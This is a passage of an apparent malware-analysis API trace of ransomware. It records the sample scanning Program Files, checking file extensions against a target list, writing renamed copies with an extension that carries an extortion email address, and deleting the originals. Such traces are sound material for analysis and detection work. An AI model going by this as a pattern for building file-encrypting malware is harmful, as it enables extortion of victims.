lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml") returned 73 [0219.157] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml") returned 73 [0219.157] lstrlenW (lpString=".doc") returned 4 [0219.157] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0219.157] lstrlenW (lpString=".docx") returned 5 [0219.157] lstrcmpiW (lpString1=".docx", lpString2="n.xml") returned -1 [0219.157] lstrlenW (lpString=".pdf") returned 4 [0219.157] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0219.157] lstrlenW (lpString=".xls") returned 4 [0219.157] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0219.157] lstrlenW (lpString=".xlsx") returned 5 [0219.157] lstrcmpiW (lpString1=".xlsx", lpString2="n.xml") returned -1 [0219.157] lstrlenW (lpString=".ppt") returned 4 [0219.157] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0219.158] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml") returned 73 [0219.158] lstrlenW (lpString=".zip") returned 4 [0219.158] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0219.158] lstrlenW (lpString=".rar") returned 4 [0219.158] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0219.158] lstrlenW (lpString=".bz2") returned 4 [0219.158] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0219.158] lstrlenW (lpString=".7z") returned 3 [0219.158] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0219.158] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml") returned 73 [0219.158] lstrlenW (lpString=".dbf") returned 4 [0219.158] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0219.158] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml") returned 73 [0219.159] lstrlenW (lpString=".1cd") returned 4 [0219.159] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0219.159] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml") returned 73 [0219.159] lstrlenW (lpString=".jpg") returned 4 [0219.159] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0219.159] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml") returned 73 [0219.159] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml") returned 73 [0219.159] lstrlenW (lpString=".doc") returned 4 [0219.159] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0219.160] lstrlenW (lpString=".docx") returned 5 [0219.160] lstrcmpiW (lpString1=".docx", lpString2="n.xml") returned -1 [0219.160] lstrlenW (lpString=".pdf") returned 4 [0219.160] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0219.160] lstrlenW (lpString=".xls") returned 4 [0219.160] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0219.160] lstrlenW (lpString=".xlsx") returned 5 [0219.160] lstrcmpiW (lpString1=".xlsx", lpString2="n.xml") returned -1 [0219.160] lstrlenW (lpString=".ppt") returned 4 [0219.160] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0219.161] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml") returned 73 [0219.161] lstrlenW (lpString=".zip") returned 4 [0219.161] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0219.161] lstrlenW (lpString=".rar") returned 4 [0219.161] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0219.161] lstrlenW (lpString=".bz2") returned 4 [0219.161] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0219.161] lstrlenW (lpString=".7z") returned 3 [0219.161] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0219.161] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml") returned 73 [0219.161] lstrlenW (lpString=".dbf") returned 4 [0219.161] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0219.161] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml") returned 73 [0219.161] lstrlenW (lpString=".1cd") returned 4 [0219.162] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0219.162] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml") returned 73 [0219.162] lstrlenW (lpString=".jpg") returned 4 [0219.162] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0219.162] lstrcmpiW (lpString1=".xml", lpString2=".WHY") returned 1 [0219.162] lstrlenW (lpString="numbase.xml") returned 11 [0219.163] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\numbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\numbers\\numbase.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0219.165] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x32aff1c | out: lpFileSize=0x32aff1c*=1218) returned 1 [0219.165] CloseHandle (hObject=0x308) returned 1 [0219.165] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\numbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\numbers\\numbase.xml")) returned 0x20 [0219.166] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\numbase.xml.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\numbers\\numbase.xml.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0219.166] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\numbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\numbers\\numbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0219.166] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\numbase.xml") returned 84 [0219.166] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\numbase.xml") returned 84 [0219.166] lstrlenW (lpString=".doc") returned 4 [0219.166] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0219.166] lstrlenW (lpString=".docx") returned 5 [0219.166] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0219.166] lstrlenW (lpString=".pdf") returned 4 [0219.166] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0219.166] lstrlenW (lpString=".xls") returned 4 [0219.167] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0219.167] lstrlenW (lpString=".xlsx") returned 5 [0219.167] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0219.167] lstrlenW (lpString=".ppt") returned 4 [0219.167] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0219.167] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\numbase.xml") returned 84 [0219.167] lstrlenW (lpString=".zip") returned 4 [0219.167] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0219.168] lstrlenW (lpString=".rar") returned 4 [0219.168] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0219.168] lstrlenW (lpString=".bz2") returned 4 [0219.168] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0219.168] lstrlenW (lpString=".7z") returned 3 [0219.168] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0219.168] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\numbase.xml") returned 84 [0219.168] lstrlenW (lpString=".dbf") returned 4 [0219.168] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0219.168] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\numbase.xml") returned 84 [0219.168] lstrlenW (lpString=".1cd") returned 4 [0219.168] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0219.169] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\numbase.xml") returned 84 [0219.169] lstrlenW (lpString=".jpg") returned 4 [0219.169] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0219.169] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\numbase.xml") returned 84 [0219.169] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\numbase.xml") returned 84 [0219.169] lstrlenW (lpString=".doc") returned 4 [0219.169] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0219.169] lstrlenW (lpString=".docx") returned 5 [0219.169] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0219.169] lstrlenW (lpString=".pdf") returned 4 [0219.170] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0219.170] lstrlenW (lpString=".xls") returned 4 [0219.170] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0219.170] lstrlenW (lpString=".xlsx") returned 5 [0219.170] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0219.170] lstrlenW (lpString=".ppt") returned 4 [0219.171] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0219.171] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\numbase.xml") returned 84 [0219.171] lstrlenW (lpString=".zip") returned 4 [0219.171] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0219.171] lstrlenW (lpString=".rar") returned 4 [0219.172] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0219.172] lstrlenW (lpString=".bz2") returned 4 [0219.173] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0219.173] lstrlenW (lpString=".7z") returned 3 [0219.173] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0219.173] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\numbase.xml") returned 84 [0219.173] lstrlenW (lpString=".dbf") returned 4 [0219.173] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0219.173] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\numbase.xml") returned 84 [0219.173] lstrlenW (lpString=".1cd") returned 4 [0219.173] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0219.173] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\numbase.xml") returned 84 [0219.173] lstrlenW (lpString=".jpg") returned 4 [0219.173] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0219.174] lstrcmpiW (lpString1=".xml", lpString2=".WHY") returned 1 [0219.175] lstrlenW (lpString="numbers.xml") returned 11 [0219.175] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\numbers.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0219.178] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x32aff1c | out: lpFileSize=0x32aff1c*=209) returned 1 [0219.178] CloseHandle (hObject=0x308) returned 1 [0219.178] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\numbers.xml")) returned 0x20 [0219.178] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\numbers.xml.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0219.178] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\numbers.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0219.178] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml") returned 76 [0219.179] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml") returned 76 [0219.179] lstrlenW (lpString=".doc") returned 4 [0219.179] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0219.179] lstrlenW (lpString=".docx") returned 5 [0219.179] lstrcmpiW (lpString1=".docx", lpString2="s.xml") returned -1 [0219.179] lstrlenW (lpString=".pdf") returned 4 [0219.179] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0219.179] lstrlenW (lpString=".xls") returned 4 [0219.179] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0219.179] lstrlenW (lpString=".xlsx") returned 5 [0219.179] lstrcmpiW (lpString1=".xlsx", lpString2="s.xml") returned -1 [0219.179] lstrlenW (lpString=".ppt") returned 4 [0219.180] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0219.180] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml") returned 76 [0219.180] lstrlenW (lpString=".zip") returned 4 [0219.180] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0219.180] lstrlenW (lpString=".rar") returned 4 [0219.180] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0219.180] lstrlenW (lpString=".bz2") returned 4 [0219.180] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0219.180] lstrlenW (lpString=".7z") returned 3 [0219.180] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0219.180] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml") returned 76 [0219.180] lstrlenW (lpString=".dbf") returned 4 [0219.180] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0219.180] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml") returned 76 [0219.181] lstrlenW (lpString=".1cd") returned 4 [0219.181] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0219.181] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml") returned 76 [0219.181] lstrlenW (lpString=".jpg") returned 4 [0219.181] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0219.181] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml") returned 76 [0219.181] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml") returned 76 [0219.181] lstrlenW (lpString=".doc") returned 4 [0219.181] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0219.182] lstrlenW (lpString=".docx") returned 5 [0219.182] lstrcmpiW (lpString1=".docx", lpString2="s.xml") returned -1 [0219.182] lstrlenW (lpString=".pdf") returned 4 [0219.182] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0219.182] lstrlenW (lpString=".xls") returned 4 [0219.182] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0219.182] lstrlenW (lpString=".xlsx") returned 5 [0219.182] lstrcmpiW (lpString1=".xlsx", lpString2="s.xml") returned -1 [0219.182] lstrlenW (lpString=".ppt") returned 4 [0219.182] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0219.182] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml") returned 76 [0219.182] lstrlenW (lpString=".zip") returned 4 [0219.182] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0219.182] lstrlenW (lpString=".rar") returned 4 [0219.183] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0219.183] lstrlenW (lpString=".bz2") returned 4 [0219.183] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0219.183] lstrlenW (lpString=".7z") returned 3 [0219.183] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0219.183] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml") returned 76 [0219.183] lstrlenW (lpString=".dbf") returned 4 [0219.183] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0219.183] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml") returned 76 [0219.185] lstrlenW (lpString=".1cd") returned 4 [0219.185] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0219.185] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml") returned 76 [0219.185] lstrlenW (lpString=".jpg") returned 4 [0219.185] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0219.186] lstrcmpiW (lpString1=".xml", lpString2=".WHY") returned 1 [0219.186] lstrlenW (lpString="oskmenubase.xml") returned 15 [0219.186] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0219.189] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x32aff1c | out: lpFileSize=0x32aff1c*=471) returned 1 [0219.189] CloseHandle (hObject=0x308) returned 1 [0219.189] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml")) returned 0x20 [0219.189] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0219.189] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0219.190] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml") returned 88 [0219.190] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml") returned 88 [0219.190] lstrlenW (lpString=".doc") returned 4 [0219.190] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0219.190] lstrlenW (lpString=".docx") returned 5 [0219.190] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0219.191] lstrlenW (lpString=".pdf") returned 4 [0219.191] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0219.191] lstrlenW (lpString=".xls") returned 4 [0219.191] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0219.191] lstrlenW (lpString=".xlsx") returned 5 [0219.192] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0219.192] lstrlenW (lpString=".ppt") returned 4 [0219.192] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0219.192] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml") returned 88 [0219.192] lstrlenW (lpString=".zip") returned 4 [0219.193] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0219.193] lstrlenW (lpString=".rar") returned 4 [0219.193] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0219.193] lstrlenW (lpString=".bz2") returned 4 [0219.193] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0219.193] lstrlenW (lpString=".7z") returned 3 [0219.193] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0219.194] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml") returned 88 [0219.194] lstrlenW (lpString=".dbf") returned 4 [0219.194] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0232.186] SetFilePointerEx (in: hFile=0x290, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afec8 | out: lpNewFilePointer=0x0) returned 1 [0232.186] SetFilePointerEx (in: hFile=0x290, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afec8 | out: lpNewFilePointer=0x0) returned 1 [0232.186] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql2000.xsl.id-9c354b42.[mr.crypteur@protonmail.com].why"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0232.187] GetLastError () returned 0x0 [0232.187] ReadFile (in: hFile=0x290, lpBuffer=0x3e30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32afed4, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesRead=0x32afed4*=0x851c, lpOverlapped=0x0) returned 1 [0232.499] WriteFile (in: hFile=0x388, lpBuffer=0x3e30020*, nNumberOfBytesToWrite=0x8520, lpNumberOfBytesWritten=0x32afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesWritten=0x32afc9c*=0x8520, lpOverlapped=0x0) returned 1 [0232.517] ReadFile (in: hFile=0x290, lpBuffer=0x3e30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32afed4, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesRead=0x32afed4*=0x0, lpOverlapped=0x0) returned 1 [0232.518] WriteFile (in: hFile=0x388, lpBuffer=0x3e30020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x32afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesWritten=0x32afc9c*=0xea, lpOverlapped=0x0) returned 1 [0232.518] SetEndOfFile (hFile=0x388) returned 1 [0232.518] CloseHandle (hObject=0x388) returned 1 [0232.522] SetFilePointerEx (in: hFile=0x290, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afec8 | out: lpNewFilePointer=0x0) returned 1 [0232.522] SetEndOfFile (hFile=0x290) returned 1 [0232.614] CloseHandle (hObject=0x290) returned 1 [0232.614] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl.id-9C354B42.[mr.crypteur@protonmail.com].WHY", dwFileAttributes=0x20) returned 1 [0232.802] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql2000.xsl")) returned 1 [0232.805] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl") returned 79 [0232.805] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl") returned 79 [0232.805] lstrlenW (lpString=".doc") returned 4 [0232.805] lstrcmpiW (lpString1=".doc", lpString2=".xsl") returned -1 [0232.805] lstrlenW (lpString=".docx") returned 5 [0232.805] lstrcmpiW (lpString1=".docx", lpString2="0.xsl") returned -1 [0232.805] lstrlenW (lpString=".pdf") returned 4 [0232.805] lstrcmpiW (lpString1=".pdf", lpString2=".xsl") returned -1 [0232.805] lstrlenW (lpString=".xls") returned 4 [0232.805] lstrcmpiW (lpString1=".xls", lpString2=".xsl") returned -1 [0232.806] lstrlenW (lpString=".xlsx") returned 5 [0232.806] lstrcmpiW (lpString1=".xlsx", lpString2="0.xsl") returned -1 [0232.806] lstrlenW (lpString=".ppt") returned 4 [0232.806] lstrcmpiW (lpString1=".ppt", lpString2=".xsl") returned -1 [0232.806] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl") returned 79 [0232.806] lstrlenW (lpString=".zip") returned 4 [0232.806] lstrcmpiW (lpString1=".zip", lpString2=".xsl") returned 1 [0232.806] lstrlenW (lpString=".rar") returned 4 [0232.806] lstrcmpiW (lpString1=".rar", lpString2=".xsl") returned -1 [0232.806] lstrlenW (lpString=".bz2") returned 4 [0232.806] lstrcmpiW (lpString1=".bz2", lpString2=".xsl") returned -1 [0232.806] lstrlenW (lpString=".7z") returned 3 [0232.806] lstrcmpiW (lpString1=".7z", lpString2="xsl") returned -1 [0232.806] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl") returned 79 [0232.807] lstrlenW (lpString=".dbf") returned 4 [0232.807] lstrcmpiW (lpString1=".dbf", lpString2=".xsl") returned -1 [0232.807] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl") returned 79 [0232.807] lstrlenW (lpString=".1cd") returned 4 [0232.807] lstrcmpiW (lpString1=".1cd", lpString2=".xsl") returned -1 [0232.807] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl") returned 79 [0232.807] lstrlenW (lpString=".jpg") returned 4 [0232.807] lstrcmpiW (lpString1=".jpg", lpString2=".xsl") returned -1 [0232.807] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl") returned 79 [0232.807] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl") returned 79 [0232.807] lstrlenW (lpString=".doc") returned 4 [0232.807] lstrcmpiW (lpString1=".doc", lpString2=".xsl") returned -1 [0232.808] lstrlenW (lpString=".docx") returned 5 [0232.808] lstrcmpiW (lpString1=".docx", lpString2="0.xsl") returned -1 [0232.808] lstrlenW (lpString=".pdf") returned 4 [0232.808] lstrcmpiW (lpString1=".pdf", lpString2=".xsl") returned -1 [0232.808] lstrlenW (lpString=".xls") returned 4 [0232.808] lstrcmpiW (lpString1=".xls", lpString2=".xsl") returned -1 [0232.808] lstrlenW (lpString=".xlsx") returned 5 [0232.809] lstrcmpiW (lpString1=".xlsx", lpString2="0.xsl") returned -1 [0232.809] lstrlenW (lpString=".ppt") returned 4 [0232.809] lstrcmpiW (lpString1=".ppt", lpString2=".xsl") returned -1 [0232.809] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl") returned 79 [0232.809] lstrlenW (lpString=".zip") returned 4 [0232.809] lstrcmpiW (lpString1=".zip", lpString2=".xsl") returned 1 [0232.809] lstrlenW (lpString=".rar") returned 4 [0232.809] lstrcmpiW (lpString1=".rar", lpString2=".xsl") returned -1 [0232.809] lstrlenW (lpString=".bz2") returned 4 [0232.809] lstrcmpiW (lpString1=".bz2", lpString2=".xsl") returned -1 [0232.809] lstrlenW (lpString=".7z") returned 3 [0232.809] 